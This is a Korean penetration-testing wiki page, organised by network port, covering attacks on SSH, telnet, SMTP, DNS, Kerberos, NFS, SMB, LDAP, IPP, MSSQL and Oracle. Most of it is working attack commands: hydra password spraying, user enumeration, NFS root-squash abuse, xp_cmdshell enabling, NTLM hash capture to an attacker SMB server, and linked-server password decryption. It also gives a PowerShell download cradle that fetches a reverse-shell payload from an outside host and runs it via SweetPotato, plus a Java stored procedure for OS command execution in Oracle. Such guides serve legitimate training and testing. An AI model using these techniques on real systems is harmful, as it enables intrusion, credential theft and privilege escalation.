ssh 비밀키를 획득했을 때 기본 정보 열거 옵션을 통해 어떤 계정의 키인지 확인할 수 있습니다.&#x20;

또한 올바른 키를 통해 정확한 서버에 로그인을 시도했을 때와 그 외의 경우, 출력되는 응답 로그를 통해 어떤 서버에 로그인 가능한지 여부를 확인할 수 있습니다.

<pre class="language-bash"><code class="lang-bash"><strong># 비밀키의 지문(sha256) 확인
</strong>ssh-keygen -lf id_rsa

<strong># 개인키로 원격 호스트에 인증만 테스트 (TTY 없이 인증만 시도)
</strong>ssh -T -i id_rsa user@192.168.1.12

<strong># 서버에 접근하여 어디에 사용되는 SSH 키인지 확인
</strong>ssh -T -i id_rsa git@github.com
ssh -T -i id_rsa git@gitlab.com

<strong># github 비밀키를 이용하여 깃클론
</strong>GIT_SSH_COMMAND='ssh -i id_rsa -o IdentitiesOnly=yes' git clone git@github.com:/'&#x3C;repositorie>'
</code></pre>


# 23 - telnet

Telnet은 원격 시스템에 접속하여 커맨드 실행이 가능한 프로토콜입니다. 현재는 암호화가 적용된 원격 명령 프로토콜인 SSH에 밀리지만 그럼에도 디버깅 용도로 사용하는 경우가 종종 있습니다. 대상 서버에 Telnet이 활성화 되어 있다면 패스워드 스프레잉 공격, 계정 정보를 획득 시 원격 명령 실행 등이 가능합니다.

## Password Spraying

```
# 명령어 양식
hydra -L <username.txt> -p <PASS> telnet://<IP>

# 실습
┌──(root㉿kali)-[~/Pentest/Scripts]
└─# hydra -L username.txt -p 'PentestingWiki' telnet://10.0.2.10 -V -f      
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-11-14 07:42:21
[WARNING] telnet is by its nature unreliable to analyze, if possible better choose FTP, SSH, etc. if available
[DATA] max 16 tasks per 1 server, overall 16 tasks, 26 login tries (l:26/p:1), ~2 tries per task
[DATA] attacking telnet://10.0.2.10:23/
[ATTEMPT] target 10.0.2.10 - login "root" - pass "PentestingWiki" - 1 of 26 [child 0] (0/0)
[ATTEMPT] target 10.0.2.10 - login "admin" - pass "PentestingWiki" - 2 of 26 [child 1] (0/0)
[ATTEMPT] target 10.0.2.10 - login "test" - pass "PentestingWiki" - 3 of 26 [child 2] (0/0)
[ATTEMPT] target 10.0.2.10 - login "guest" - pass "PentestingWiki" - 4 of 26 [child 3] (0/0)
...
```

## Shell Connection

```
┌──(root㉿kali)-[~/Pentest/Machine]
└─# telnet 10.0.2.10
Trying 10.0.2.10...
Connected to 10.0.2.10.
Escape character is '^]'.
Welcome to Microsoft Telnet Service 

login: wiki
password: 

*===============================================================
Microsoft Telnet Server.
*===============================================================
C:\Users\security>whoami
pentesting\wiki
```


# 25 - smtp

SMTP는 1982년 개발되어 현재까지도 메일 서버 간의 전송을 위해 사용되는 프로토콜입니다.

외부에서 내부로 이메일을 전송했을 때, 서버는 클라이언트가 전송한 수신자가 로컬 데이터베이스 목록에 존재하는지 확인하고 그에 대한 응답을 반환합니다.

이러한 응답의 차이로 인해 공격자는 실제 존재하는 사용자 이메일 목록 탈취가 가능합니다.

<figure><img src="/files/XEN7qgVEvlgaWJbJG3qe" alt=""><figcaption></figcaption></figure>

SMTP 프로토콜을 사용하는 서버가 독립된 메일 시스템이라면 계정정보를 획득하더라도, 이는 시스템 계정이 아닌 메일 서비스 계정에 불과합니다.

하지만 AD 통합 환경의 경우 대부분 Exchange Server, Wifi, 시스템, 그룹웨어 등 회사 대부분의 서비스와 자산이 동일한 계정정보로 통합되어 있기 때문에 크리덴셜 스터핑 공격에 활용할 수 있습니다.

## Abuse

<pre class="language-bash"><code class="lang-bash"><strong># smtp 연결 이후 존재하는 계정 확인
</strong>nc '&#x3C;smtp-server-address>' 25

<strong># 기능 열거
</strong>EHLO test

<strong># 메일 전송을 통한 사용자 이메일 계정 확인
</strong>MAIL FROM:mick3y@pentestwiki.com
RCPT TO:root@'&#x3C;target-domain>'

<strong># 자동화 도구
</strong>smtp-user-enum -M VRFY -U username.txt -t '&#x3C;smtp-server-address>' -p 25

<strong># hydra
</strong>hydra -L username.txt -p password123 smtp://'&#x3C;smtp-server-address>' -s 25
</code></pre>


# 53 - dns

<pre class="language-bash"><code class="lang-bash"><strong># Zone 전송을 통한 DNS 데이터베이스 획득
</strong>dig axfr @&#x3C;IP> &#x3C;Domain>

<strong># 서브도메인 스캔
</strong>dnsenum --dnsserver '&#x3C;ip-address>' -f '&#x3C;subdomain-file>' '&#x3C;domain>'
</code></pre>


# 88 - kerberos

커버로스는 네트워크 상에서 비밀키를 사용하여 사용자를 인증하는 프로토콜이며 Windows와 macOS 등에서 표준으로 사용되고 있습니다.

{% hint style="info" %}
본 페이지는 Windows Kerberos를 기반으로 설명합니다.
{% endhint %}

## Abuse

<pre><code><strong># kerbrute 설치
</strong>git clone https://github.com/ropnop/kerbrute.git
cd kerbrute
go build

<strong># 사용자 이름 목록을 기반으로 존재하는 계정 확인
</strong>./kerbrute userenum username.txt -d 'contoso.com' --dc 'dc01.contoso.com'
</code></pre>

## 프로토콜

도메인 사용자가 서비스에 접근할 때 TGT(Ticket Granting Ticket)가 없는 상태라면 인증 서버를 담당하는 도메인 컨트롤러에 TGT를 요청하게 됩니다. 생성된 TGT는 일정 기간동안 유효하며, 유효한 상태에서는 계정정보 대신 TGT를 통해 인증합니다.

TGT를 획득한 사용자는 서비스를 이용하기 위한 서비스 티켓을 발급하기 위해 도메인 컨트롤러에 TGT와 함께 사용하고자 하는 서비스를 제출합니다. 이때 도메인 컨트롤러는 TGT를 복호화하여 유효한 티켓이 맞는지 확인 후 서비스 티켓을 반환합니다.

마지막으로 클라이언트는 서비스 티켓을 통해 서비스 서버(서비스 호스트)에게 티켓을 제공함에 따라 서비스를 이용할 수 있습니다.

이때 각 단계에서 사용하는 비밀키는 다르며, 위에서 언급한 단계를 그림으로 표현하면 다음과 같습니다.

<figure><img src="/files/P7V2gQx9h6J6WFjnCbf2" alt=""><figcaption><p><a href="https://en.wikipedia.org/wiki/Kerberos_(protocol)">https://en.wikipedia.org/wiki/Kerberos_(protocol)</a></p></figcaption></figure>

위 그림은 커버로스 인증 과정을 요약한 것이며 실제 패킷은 더 방대한 정보를 포함하지만, 분량 상 위 그림에서 설명하는 정보를 토대로 실제 커버로스 패킷을 확인하겠습니다.

### AS-REQ

<figure><img src="/files/Rq5ovtZEiJY34jkyLpg8" alt=""><figcaption></figcaption></figure>

TGT를 획득하기 위해 클라이언트는 서버에게 `누가 어떤 서비스를 언제` 요청하는 것인지 알려야 합니다. 또한 클라이언트의 신분을 보장하기 위해서 요청하는 시간인 타임스탬프를 자신의 nt hash로 암호화하여 전송합니다.

### AS-REP

<figure><img src="/files/KYb63L5JSL39YEEPxzyW" alt=""><figcaption></figcaption></figure>

AS-REP은 클라이언트의 nt hash로 암호화 되는 일반 응답 데이터와, krbtgt의 nt hash로 암호화 되는 TGT 데이터가 포함됩니다.

<figure><img src="/files/doBHccwvvHIFTncp7DDK" alt=""><figcaption><p>클라이언트 nt hash로 암호화된 일반 응답 데이터</p></figcaption></figure>

클라이언트의 nt hash로 암호화 되는 일반 응답 데이터에서는 커버로스 인증에 사용될 TGT 세션키, 난수, 티켓의 유효기간, 서비스 등을 포함합니다.

<div><figure><img src="/files/ZhCvHRCtOd1VMQWxQRC5" alt=""><figcaption><p>krbtgt nt hash로 암호화된 TGT</p></figcaption></figure> <figure><img src="/files/PkEAGnJI4781e9KMFutJ" alt=""><figcaption><p>TGT 내부 authorization-data</p></figcaption></figure></div>

krbtgt nt hash로 암호화 되는 TGT는 클라이언트가 TGT 데이터를 복호화하지 못하기 때문에 인증 정보를 조작할 수 없습니다.

### TGS-REQ

<figure><img src="/files/kqk26xKDCCDowtJG2elM" alt=""><figcaption></figcaption></figure>

TGS-REQ에서는 클라이언트가 TGT 세션키로 암호화한 타임스탬프와 TGT, 그리고 어떤 서비스를 이용할 것인지 명시하여 요청합니다.

<div><figure><img src="/files/G088jGMj1GB2vO78mPS3" alt=""><figcaption><p>TGT, 타임스탬프</p></figcaption></figure> <figure><img src="/files/t4SGIxUNEUdTFftO2Yk5" alt=""><figcaption><p>요청하는 서비스</p></figcaption></figure></div>

앞서 언급한 것과 같이 도메인 컨트롤러는 krbtgt nt hash를 갖고있기 때문에 TGT를 복호화할 수 있습니다.&#x20;

또한 TGT를 복호화하면 내부에 TGT 세션키가 저장되어 있기 때문에, 이 키를 가지고 클라이언트의 타임스탬프를 복호화하여 현재 시간과 비교할 수 있습니다.

<figure><img src="/files/uWptGiNfi1IX37aLOsLO" alt=""><figcaption></figcaption></figure>

AS-REQ와 마찬가지로 TGS-REQ에서도 타임스탬프를 확인하는 이유는 재사용 공격을 방지하기 위함이며, 기본적으로 도메인 정책은 5분 미만의 차이까지 허용합니다.

### TGS-REP

TGS-REP는 TGT 세션키로 암호화된 응답 데이터와 서비스 계정 nt hash로 암호화된 서비스 티켓이 포함됩니다.

<div><figure><img src="/files/3gcS7HRKo0pGsMu7612K" alt=""><figcaption><p>TGT 세션키로 암호화된 응답 데이터</p></figcaption></figure> <figure><img src="/files/mVel7pH3hLVdMaHsLfkO" alt=""><figcaption><p>서비스 계정 nt hash로 암호화된 서비스 티켓</p></figcaption></figure></div>

TGT 세션키로 암호화된 데이터 내에는 서비스 티켓 사용을 위한 서비스 티켓 세션키가 포함되어 있으며, 서비스 계정 nt hash로 암호화된 서비스 티켓 내부에도 동일한 서비스 티켓 세션키가 포함되어 있습니다.

TGT와 마찬가지로 서비스 티켓은 해당 서비스 주체의 nt hash로 암호화 되기 때문에 클라이언트가 중간에 서비스에 대한 권한 정보를 변조할 수 없습니다.

### AP-REQ

<figure><img src="/files/bSGUN5qvk2fCu4Opbp81" alt=""><figcaption></figcaption></figure>

AP-REQ는 서비스 티켓 세션키로 암호화한 클라이언트 정보, 타임스탬프와 서비스 티켓이 포함됩니다.

<div><figure><img src="/files/Rs7OBMRNd6dndfOe4j36" alt=""><figcaption><p>서비스 티켓 세션키로 암호화된 클라이언트 정보, 타임스탬프</p></figcaption></figure> <figure><img src="/files/B3WLftwh0b7WfsSJkmmf" alt=""><figcaption><p>서비스 계정 nt hash로 암호화된 서비스 티켓</p></figcaption></figure></div>

클라이언트가 도메인 컨트롤러와 인증을 마치고 서비스 티켓을 가진채 서비스 서버에 접근하면, 서비스 서버는 최초에 서비스 티켓 세션키가 없기 때문에 클라이언트의 타임스탬프를 복호화하지 못합니다.

하지만 서비스 티켓을 자신의 nt hash로 복호화한 이후 내부에 저장된 서비스 티켓 세션키를 사용하여 복호화가 가능하며, 최종적으로 티켓의 유효성, 클라이언트, 서비스, 타임스탬프가 모두 정상적일 경우에 서비스 접근을 허용합니다.

## References

{% embed url="<https://www.tarlogic.com/blog/how-kerberos-works/>" %}

{% embed url="<https://swarm.ptsecurity.com/kerberoasting-without-spns/>" %}

{% embed url="<https://en.wikipedia.org/wiki/Kerberos_(protocol)>" %}

{% embed url="<https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/security-policy-settings/maximum-tolerance-for-computer-clock-synchronization>" %}


# 111 - rpc

<pre class="language-bash"><code class="lang-bash"><strong># 쉐어 목록 확인
</strong>showmount -e &#x3C;IP>

<strong># 쉐어와 마운트
</strong>mount &#x3C;IP>:/&#x3C;Share> /mnt

<strong># no root squash 악용
</strong>attacker-system > cp /bin/bash /mnt/
target-system > ./bash -p
</code></pre>


# 135 - msrpc

<pre><code><strong># msrpc 바인딩
</strong>rpcclient -U '&#x3C;username>' '&#x3C;server-address>'

<strong># 익명 바인딩
</strong>rpcclient -U "" -N '&#x3C;server-address>' 
</code></pre>

연결이 성공되어 명령을 실행할 권한이 있다면 아래와 같은 명령을 통해 다양한 정보 수집 및 원격 실행이 가능합니다.

| 명령               | 결과                 |
| ---------------- | ------------------ |
| querydominfo     | 도메인 정보             |
| querydispinfo    | 도메인 유저 정보          |
| enumdomains      | 사용중인 도메인 목록        |
| srvinfo          | 서버 정보              |
| netshareenumall  | 사용 가능한 모든 쉐어 절대 경로 |
| enumdomusers     | 모든 도메인 사용자 열거      |
| queryuser \<RID> | 특정 사용자에 대한 정보를 제공  |


# 139/445 - smb

<pre class="language-bash"><code class="lang-bash"><strong># 익명 로그인 
</strong>nxc smb '&#x3C;server-address>' -u '' -p ''

<strong># Guest 로그인
</strong>nxc smb '&#x3C;server-address>' -u 'Guest' -p 'Guest'

<strong># rid-cycling
</strong>nxc smb '&#x3C;server-address>' -u '&#x3C;username>' -p '&#x3C;password>' --rid-brute 10000
</code></pre>


# 389/636 - ldap

<pre class="language-bash"><code class="lang-bash"><strong># 서버 FQDN 등의 정보 수집(기본 익명 바인딩 활성화)
</strong>ldapsearch -x -H ldap://'&#x3C;server-address>' -s base

<strong># FQDN 및 DN을 통한 세부 정보 수집
</strong>ldapsearch -x -H ldap://'&#x3C;server-address>' -s sub -b 'DC=contoso,DC=com'

<strong># 계정정보로 실명 바인딩
</strong>ldapsearch -H ldap://'&#x3C;server-address>' -s sub -b 'DC=contoso,DC=com' -D '&#x3C;domain\username>' -w '&#x3C;password>'
</code></pre>


# 631 -ipp

IPP는 Internet Printing Protocol로 네트워크를 통해 프린터에 인쇄 등의 명령을 전송하기 위한 프로토콜입니다. 프린터에서 IPP 프로토콜이 활성화 되어 있을 때, /ipp/print 경로에 양식에 맞는 스크립트를 전송 시 출력이 가능한 상태라면 용지를 출력합니다.

{% code title="IPP 테스트 스크립트 (ipp.test)" %}

```
{
  OPERATION Print-Job
  GROUP operation-attributes-tag
  ATTR charset attributes-charset utf-8
  ATTR language attributes-natural-language en
  ATTR uri printer-uri ipp://192.168.1.250:631/ipp/print
  ATTR name requesting-user-name "GUEST"
  FILE input.txt
}
```

{% endcode %}

<pre><code><strong># IPP 프로토콜 요청
</strong>ipptool -tv ipp://192.168.1.250:631/ipp/print ipp.test
</code></pre>

FILE 인자로 선택한 input.txt 파일의 내용이 용지에 출력되며 이는 보안 취약점이 아닌 IPP 프로토콜의 정상적인 기능을 이용한 것입니다. 사실상 프린터에 출력 요청을 보낸 것과 동일하지만, 임직원이 접근할 수 있는 내부망에 위치하지 않고 외부에 노출되어 있을 경우 공격자는 인쇄를 통해 피싱을 노릴 수 있습니다.


# 1433 - mssql

MSSQL(Microsoft SQL Server)는 마이크로소프트에서 개발한 관계형 데이터베이스입니다. 다른 데이터베이스 서비스와 다르게 Windows 사용자 계정이나 AD 계정으로 인증이 가능한 통합 인증 모드를 지원합니다.

### XP\_CMDSHELL

xp\_cmdshell은 사용자가 SQL 콘솔에서 해당 SQL 서비스가 실행되는 Windows 시스템에 원격으로 명령을 실행할 수 있도록 지원하는 프로시저입니다.

{% hint style="info" %}
이 기능은 기본적으로 비활성화 상태이며 활성화와 실행에는 각각 sysadmin 권한이 필요합니다.
{% endhint %}

<pre class="language-sql"><code class="lang-sql"><strong># 활성화 여부 확인
</strong>SELECT value FROM sys.configurations WHERE name = 'xp_cmdshell';

<strong># XP_CMDSHELL 프로시저 활성화 및 저장
</strong>EXEC sp_configure 'Show Advanced Options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

<strong># 원격 명령 실행
</strong>EXEC xp_cmdshell 'whoami';

<strong># XP_CMDSHELL 프로시저 비활성화 및 저장
</strong>EXEC sp_configure 'xp_cmdshell', 0; RECONFIGURE;
EXEC sp_configure 'Show Advanced Options', 0; RECONFIGURE;
</code></pre>

### RID Cycling

mssql 내장 함수 중 SUSER\_SID는 NetBIOS를 포함한 도메인 계정 이름을 입력했을 때 SID를 반환하며, SUSER\_SNAME은 SID를 입력했을 때 계정 이름을 반환합니다.

{% hint style="info" %}
SUSER\_SID 함수는 mssql 서버에 등록된 도메인 계정에 한해서만 조회 가능합니다.
{% endhint %}

이 두가지 함수를 이용하여 mssql 연결이 가능한 상태에서 도메인 객체의 sid 조회를 통해 [#rid-cycling](#rid-cycling "mention") 공격으로 연계가 가능합니다.

<pre class="language-bash"><code class="lang-bash"><strong># mssql에 등록된 도메인 계정을 통해 도메인 SID 획득
</strong>SELECT sys.fn_varbintohexstr(SUSER_SID('contoso\Administrator'))

<strong># python으로 코드 제작 후 파일로 저장
</strong>for i in range(500, 10000 + 1, 1):
    print(f"select (SUSER_SNAME(SID_BINARY(N'&#x3C;SID>-{i}')))")
    
<strong># impacket의 file 플래그를 사용하여 쿼리 자동 삽입 후 도메인 유저 결과 저장
</strong>impacket-mssqlclient contoso/sa:'Password123!' -file rids.txt | tee result.txt

<strong># result.txt에서 유효한 도메인 유저 목록만 추출
</strong>cat result.txt | grep --text -i contoso | cut -d '\' -f 2 > DomainUsers.txt
</code></pre>

### NTLM 탈취

xp\_dirtree는 mssql 콘솔에서 서버의 시스템 디렉토리를 열거할 수 있는 dir 명령입니다. Windows는 공유 폴더에 접근 시 자동으로 현재 세션으로 ntlm 인증을 하기 때문에 xp\_dirtree를 이용하여 대상의 ntlm 챌린지를 탈취하고 이를 크랙할 수 있습니다.

<pre class="language-bash"><code class="lang-bash"><strong># ntlm 탈취를 위한 smb 서버 실행
</strong>impacket-smbserver share . -smb2support

<strong># xp_dirtree를 이용하여 공격자 smb 서버 열거
</strong>xp_dirtree \\192.168.1.23\share
</code></pre>

### Linked Server

mssql은 다른 SQL 서버와 연결을 통해 원격 쿼리 및 명령 실행을 지원합니다. 원격 쿼리 및 명령을 실행할 때 최종 권한 검증은 목적지 서버를 실행하는 주체로부터 발생합니다.

따라서 출발지 서버인 A 서버에서 xp\_cmdshell 실행 권한이 없는 일반 사용자 계정이라 하더라도 sa 권한으로 실행되는 B 서버에 대한 원격 쿼리를 통해 xp\_cmdshell 실행이 가능합니다.

<pre class="language-sql"><code class="lang-sql"><strong># mssql과 연결된 링크 서버 목록 열거
</strong>EXEC sp_linkedservers;

<strong># 링크 서버에 대한 원격 쿼리 실행
</strong>SELECT * FROM OPENQUERY("LinkedServer-CONTOSO", 'select @@servername');

<strong># 링크 서버의 xp_cmdshell 프로시저 활성화 및 저장
</strong>EXEC('sp_configure ''show advanced options'', 1; reconfigure;') AT [LinkedServer-CONTOSO]
EXEC('sp_configure ''xp_cmdshell'', 1; reconfigure;') AT [LinkedServer-CONTOSO]

<strong># 프로시저가 사용 가능하도록 rpc 활성화
</strong>EXEC sp_serveroption N'LinkedServer-CONTOSO', 'rpc','true';
EXEC sp_serveroption N'LinkedServer-CONTOSO', 'rpc out','true';

<strong># 링크 서버로의 원격 명령 실행
</strong>EXEC('xp_cmdshell ''whoami''') AT [LinkedServer-CONTOSO]
</code></pre>

### User Impersonation

관리자가 명시적으로 각 사용자에게 특정 사용자의 권한을 위임받을 수 있는 객체를 설정했다면, 공격자는 해당 세션에서 설정된 위임 구성을 통해 다른 사용자의 권한으로 활동할 수 있습니다.&#x20;

<pre class="language-sql"><code class="lang-sql"><strong># 가장 권한을 위임받은 객체 목록 열거
</strong>SELECT name FROM sys.server_permissions JOIN sys.server_principals ON grantor_principal_id = principal_id WHERE permission_name = 'IMPERSONATE';

<strong># 위임받은 객체의 권한을 가장
</strong>EXECUTE AS LOGIN = 'sa';

<strong># 원래 사용자 세션으로 복귀
</strong>REVERT;
</code></pre>

### SeImpersonatePrivilege

최신 mssql 설치 시 기본적으로 서비스는 SeImpersonatePrivilege 권한을 가진 `NT Service/MSSQLSERVER`로 실행됩니다.

공격자는 이 사용자 권한을 이용한 로컬 권한 상승 기법으로 시스템 권한 탈취가 가능합니다.

<pre class="language-powershell"><code class="lang-powershell"><strong># 페이로드 주소를 Base64 인코딩
</strong>$str = 'IEX ((new-object net.webclient).downloadstring("http://wiki.com/reverse"))'
[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($str))

<strong># Base64 인코딩 된 스크립트를 삽입하여 System 권한으로 실행
</strong>.\SweetPotato.exe -p C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -a "-w hidden -enc &#x3C;Base64 Encoded Command>"
</code></pre>

### TRUSTWORTHY

<pre class="language-sql"><code class="lang-sql"><strong># 데이터베이스의 TRUSTWORTHY 활성화 여부 확인
</strong>SELECT name, is_trustworthy_on  FROM sys.databases;

<strong># 가장할 수 있는 사용자 목록 열거
</strong>SELECT name FROM sys.server_permissions JOIN sys.server_principals ON grantor_principal_id = principal_id WHERE permission_name = 'IMPERSONATE';

<strong># 현재 사용자 / 가장한 사용자 콘솔에서 유저가 TRUSTWORTHY가 활성화된 데이터베이스의 오너인지 확인
</strong>SELECT IS_ROLEMEMBER('db_owner');

<strong># vintim 사용자 계정을 가장하여 권한상승 프로시서 생성 및 활성화 후 삭제
</strong>CREATE PROCEDURE sp_privesc WITH EXECUTE AS OWNER AS EXEC sp_addsrvrolemember 'pentest', 'sysadmin';
EXECUTE sp_privesc;
DROP PROCEDURE sp_privesc;

<strong># pentest 사용자 세션으로 돌아와서 권한 정보 확인
</strong>REVERT;
SELECT IS_SRVROLEMEMBER('sysadmin');

<strong># pentest 사용자 권한 되돌리기
</strong>EXEC sp_dropsrvrolemember 'ws_dev', 'sysadmin';

</code></pre>

TRUSTWORTHY에 대한 자세한 설명은 [TRUSTWORTHY](/etc/cs/trustworthy)를 참고하세요.

### Decrypting Linked Server Passwords

<pre class="language-sql"><code class="lang-sql"><strong># 다른 사용자가 DAC 연결을 수립했는지 점검
</strong>SELECT * FROM sys.dm_exec_sessions WHERE endpoint_id = 1

<strong># 연결된 서버와 유저 이름, 암호화된 비밀번호 열거
</strong>SELECT sysservers.srvname, syslnklgns.name, syslnklgns.pwdhash FROM master.sys.syslnklgns INNER JOIN master.sys.sysservers ON syslnklgns.srvid = sysservers.srvid WHERE LEN(pwdhash) > 0;

<strong># SMK 열거
</strong>SELECT * FROM sys.key_encryptions;
</code></pre>

```powershell
$encryptedData = <Encrypted SMK>;
$encryptedData = $encryptedData.Substring(18); # Remove 0x and padding
$encryptedData = [byte[]] -split ($encryptedData -replace '..', '0x$& ');

$entropy = (Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Microsoft SQL Server\MSSQL16.MSSQLSERVER\Security" -Name "Entropy").Entropy;

Add-Type -AssemblyName System.Security;
$SMK = [System.Security.Cryptography.ProtectedData]::Unprotect($encryptedData, $entropy, 'LocalMachine');
Write-Host (($SMK|ForEach-Object ToString X2) -join '');
```

<pre class="language-sql"><code class="lang-sql"><strong># 초기화 벡터 &#x26; 암호문 질의
</strong>SELECT
	name,
	SUBSTRING(pwdhash, 5, 16) AS 'IV',
	SUBSTRING(pwdhash, 21, LEN(pwdhash) - 20) AS 'Ciphertext'
FROM sys.syslnklgns
WHERE LEN(pwdhash) > 0;
</code></pre>

이제 세가지 정보를 가지고 CyberChef에서 AES 복호화를 할 수 있습니다.

{% embed url="<https://gchq.github.io/CyberChef/#recipe=AES_Decrypt(%7B'option':'Hex','string':''%7D,%7B'option':'Hex','string':''%7D,'CBC','Hex','Raw',%7B'option':'Hex','string':''%7D,%7B'option':'Hex','string':''%7D)Decode_text('UTF-16LE%20(1200)>')" %}

Decrypting Linked Server Passwords에 대한 자세한 정보는 [Link Server Passwords](/etc/cs/link-server-passwords)를 참고하세요.

## References

{% embed url="<https://learn.microsoft.com/en-us/previous-versions/sql/sql-server-2008-r2/ms178068(v=sql.105)?redirectedfrom=MSDN>" %}

{% embed url="<https://www.netspi.com/blog/technical-blog/adversary-simulation/decrypting-mssql-database-link-server-passwords/>" %}

{% embed url="<https://blog.naver.com/jooung86/220628439661>" %}

{% embed url="<https://learn.microsoft.com/ko-kr/sql/t-sql/functions/suser-sname-transact-sql?view=sql-server-ver17>" %}


# 1521 - oracle

### getRuntime

Oracle JVM은 Java 애플리케이션 및 코드를 실행할 수 있는 자바 가상 머신(Java Virtual Machine)의 종류입니다. MSSQL과 같이 직접적으로 시스템 명령 실행을 지원하는 함수는 없지만, 자바 코드를 이용하여 시스템 명령 실행이 가능합니다.

{% code title="Java code" %}

```java
CREATE OR REPLACE AND COMPILE JAVA SOURCE NAMED "CommandExecutor" AS
import java.io.*;
import java.nio.charset.StandardCharsets;

public class CommandExecutor {
    private static final int MAX_OUTPUT_CHARS = 4000;
    public static String run(String cmd) {
        if (cmd == null || cmd.trim().isEmpty()) {
            return "No command specified";
        }

        StringBuilder sb = new StringBuilder();
        try {
            Process proc = Runtime.getRuntime().exec(cmd);
            try (BufferedReader outReader = new BufferedReader(
                     new InputStreamReader(proc.getInputStream(), StandardCharsets.UTF_8));
                 BufferedReader errReader = new BufferedReader(
                     new InputStreamReader(proc.getErrorStream(), StandardCharsets.UTF_8))) {

                String line;
                while ((line = outReader.readLine()) != null) {
                    if (sb.length() + line.length() + 1 > MAX_OUTPUT_CHARS) {
                        sb.append("\n...[output truncated]...");
                        break;
                    }
                    sb.append(line).append('\n');
                }
                while ((line = errReader.readLine()) != null) {
                    if (sb.length() + line.length() + 1 > MAX_OUTPUT_CHARS) {
                        sb.append("\n...[output truncated]...");
                        break;
                    }
                    sb.append(line).append('\n');
                }
            }
            int exitCode = proc.waitFor();
            sb.append("[exitCode=").append(exitCode).append(']');
            return sb.toString();

        } catch (Exception e) {
            return "ERROR: " + e.getClass().getName() + ": " + e.getMessage();
        }
    }
}
/
```

{% endcode %}

{% code title="Oracle code" %}

```sql
CREATE OR REPLACE FUNCTION xp_cmdshell(cmd VARCHAR2)
RETURN VARCHAR2
AS LANGUAGE JAVA
NAME 'CommandExecutor.run(java.lang.String) return java.lang.String';
/
```

{% endcode %}

Java 소스 및 함수를 등록할 수 있는 권한이 있어서 성공적으로 등록했다면, 등록한 사용자 함수인 xp\_cmdshell을 통해서 시스템 명령 실행이 가능합니다.

<pre class="language-sql"><code class="lang-sql"><strong># 사용자 함수 호출
</strong>SELECT xp_cmdshell('whoami') FROM dual;

<strong># Java 소스 및 사용자 함수 제거
</strong>DROP JAVA SOURCE "CommandExecutor";
DROP FUNCTION kisatest;
</code></pre>

## Demo

<figure><img src="/files/Uf5AMxLuidA3yiPpZeYV" alt=""><figcaption></figcaption></figure>


# 5985 - wsman

[winrm](/lateral-movement/windows/winrm)




---

[Next Page](/llms-full.txt/1)

